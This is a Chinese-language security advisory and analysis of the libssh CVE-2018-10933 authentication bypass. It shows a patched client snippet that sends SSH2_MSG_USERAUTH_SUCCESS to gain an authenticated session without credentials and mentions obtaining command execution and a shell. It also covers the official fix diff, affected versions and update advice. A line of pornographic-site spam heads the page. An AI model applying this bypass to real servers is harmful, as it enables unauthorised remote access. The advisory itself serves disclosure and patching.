压在透明的玻璃上c-国产精品国产一级A片精品免费-国产精品视频网-成人黄网站18秘 免费看|www.tcsft.com

libssh CVE-2018-10933 身份驗(yàn)證繞過漏洞分析報(bào)告

0x00 事件背景

2018-10-16 libssh發(fā)布更新公告旨在解決CVE-2018-10933的問題

libssh版本0.6及更高版本在服務(wù)端代碼中具有身份驗(yàn)證繞過漏洞。 通過向服務(wù)端提供SSH2_MSG_USERAUTH_SUCCESS消息來代替服務(wù)端期望啟動(dòng)身份驗(yàn)證的 SSH2_MSG_USERAUTH_REQUEST消息,攻擊者可以在沒有任何憑據(jù)的情況下成功進(jìn)行身份驗(yàn)證。 進(jìn)而可以進(jìn)行一些惡意操作。

0x01 詳情分析

在libssh的example中已經(jīng)存在一些server端的例子,測試環(huán)境則采用這些例子進(jìn)行說明

這個(gè)漏洞能用,但目前就分析而言發(fā)現(xiàn),無法很好的泛用,所以建議及時(shí)進(jìn)行更新以免遭受影響

在libssh中以session的方式對(duì)會(huì)話進(jìn)行處理,無論是server的建立還是client的連接。

均以

session = ssh_new();

進(jìn)行session建立

因?yàn)檫@個(gè)漏洞是直接獲得AUTH所以服務(wù)端的配置和客戶端的連接認(rèn)證方式等完全不用在意

簡單的client連接示例的部分代碼,以體現(xiàn)邏輯為主。

首先是設(shè)置一些參數(shù),然后利用session進(jìn)行連接

然后進(jìn)行knownhost認(rèn)證處理,這步就是平時(shí)在進(jìn)行ssh連接的時(shí)候進(jìn)行提醒的是否要保存信 息

if (ssh_options_set(session, SSH_OPTIONS_HOST ,host) < 0)
    return -1;
if(ssh_connect(session)){
    fprintf(stderr,"Connection failed : %s\n",ssh_get_error(session));
    return -1;
}
state=verify_knownhost(session);
if (state != 0)
    return -1;
auth=authenticate_console(session);
if(auth != SSH_AUTH_SUCCESS){
    return -1;
}

authenticate_console(session)

的流程為先發(fā)送一個(gè)ssh_userauth_none再根據(jù)選擇的AUTH方式,嘗試GSSAPI、PublicKey、 Password的方式

這里采用的patch掉client中發(fā)送密碼認(rèn)證的時(shí)候的數(shù)據(jù)包

將第二行的SSH2_MSG_USERAUTH_REQUEST?->?SSH2_MSG_USERAUTH_SUCCESS

rc = ssh_buffer_pack(session->out_buffer, "bsssbs",
            SSH2_MSG_USERAUTH_SUCCESS,
            username ? username : session->opts.username,
            "ssh-connection",
            "password",
            0, /* false */
            password
    );

并且需要在ssh_userauth_get_response之前直接返回,因?yàn)檫@一步會(huì)再次向服務(wù)端進(jìn)行通 信,但此時(shí)受影響版本的server已經(jīng)Authentication successful

這時(shí)候的session就已經(jīng)可以獲得相應(yīng)的權(quán)限了。通過官方的Tutorial的執(zhí)行命令的例子調(diào) 用ssh_channel_request_exec進(jìn)行命令執(zhí)行

0x02 修復(fù)分析

官方通過增加字段,并注冊額外的session狀態(tài)校驗(yàn)函數(shù)進(jìn)行檢驗(yàn),在處理流程中標(biāo)注 session處于的狀態(tài),避免client隨意發(fā)送SSH2_MSG_USERAUTH_SUCCESS進(jìn)行bypass

+static enum ssh_packet_filter_result_e ssh_packet_incoming_filter(ssh_session session)
+    case SSH2_MSG_USERAUTH_SUCCESS:                   // 52
+        if ((session->auth_state != SSH_AUTH_STATE_KBDINT_SENT) &&
+            (session->auth_state != SSH_AUTH_STATE_PUBKEY_AUTH_SENT) &&
+            (session->auth_state != SSH_AUTH_STATE_PASSWORD_AUTH_SENT) &&
+            (session->auth_state != SSH_AUTH_STATE_GSSAPI_MIC_SENT) &&
+            (session->auth_state != SSH_AUTH_STATE_AUTH_NONE_SENT))
+        {
+            rc = SSH_PACKET_DENIED;
+            break;
+        }

該校驗(yàn)函數(shù)判斷session的狀態(tài)是否處于?SSH_AUTH_STATE_PUBKEY_AUTH_SENT,SSH_AUTH_STATE_PASSWORD_AUTH_SENT,
SSH_AUTH_STATE_NONE_SENT這些個(gè)狀態(tài) 來確認(rèn)是否要接受數(shù)據(jù)包里帶有SSH2_MSG_USERAUTH_SUCCESS的情況

@@ -88,6 +88,7 @@ static int ssh_auth_response_termination(void *user){
     case SSH_AUTH_STATE_PUBKEY_AUTH_SENT:
     case SSH_AUTH_STATE_PUBKEY_OFFER_SENT:
     case SSH_AUTH_STATE_PASSWORD_AUTH_SENT:
+    case SSH_AUTH_STATE_AUTH_NONE_SENT:
       return 0;
     default:
       return 1;
@@ -143,6 +144,7 @@ static int ssh_userauth_get_response(ssh_session session) {
         case SSH_AUTH_STATE_PUBKEY_OFFER_SENT:
         case SSH_AUTH_STATE_PUBKEY_AUTH_SENT:
         case SSH_AUTH_STATE_PASSWORD_AUTH_SENT:
+        case SSH_AUTH_STATE_AUTH_NONE_SENT:
         case SSH_AUTH_STATE_NONE:
             /* not reached */
             rc = SSH_AUTH_ERROR;

同時(shí)在每次的response校驗(yàn)中增加該字段,如果該字段存在就直接返回error

0x03 驗(yàn)證截圖

執(zhí)行命令

alt

獲得shell

alt

0x04 影響范圍

libssh0.6以上的版本

目前各大發(fā)行版中部分已經(jīng)對(duì)相應(yīng)package進(jìn)行更新,但還未完全進(jìn)行版本迭代,具體情況可以關(guān)注一下鏈接

Debain

https://security-tracker.debian.org/tracker/CVE-2018-10933

ubuntu

https://people.canonical.com/~ubuntu-security/cve/2018/CVE-2018-10933.html

opensuse

https://www.suse.com/security/cve/CVE-2018-10933/

redhat

https://access.redhat.com/security/cve/cve-2018-10933

通過360CERT Quake資產(chǎn)檢索平臺(tái)發(fā)現(xiàn)共計(jì)3,170臺(tái)設(shè)備開放libssh服務(wù)在外網(wǎng),但并非所有的libssh服務(wù)均處于受影響的版本范圍。該漏洞影響范圍有限。

alt

0x05 修復(fù)建議

及時(shí)對(duì)服務(wù)端libssh版本進(jìn)行更新

可以在如下網(wǎng)址下載最新的0.7.6以及0.8.4版本

https://red.libssh.org/projects/libssh/files

或者在如下地址尋找對(duì)應(yīng)版本的patch文件

https://www.libssh.org/security/

0x06 時(shí)間線

2018-10-16?libssh 官方發(fā)布重要更新

2018-10-16?360CERT發(fā)布預(yù)警報(bào)告

2018-10-17?360CERT發(fā)布分析報(bào)告

0x07 參考鏈接

  1. libssh官方更新
  2. libssh修復(fù)patch
  3. libssh CVE-2018-10933說明
  4. 360CERT預(yù)警報(bào)告

原文鏈接:https://www.anquanke.com/post/id/162225

上一篇:美國國土安全部報(bào)告:警惕針對(duì)精細(xì)農(nóng)業(yè)的威脅

下一篇:網(wǎng)絡(luò)保險(xiǎn)發(fā)展的最大阻礙,如何開展風(fēng)險(xiǎn)評(píng)估?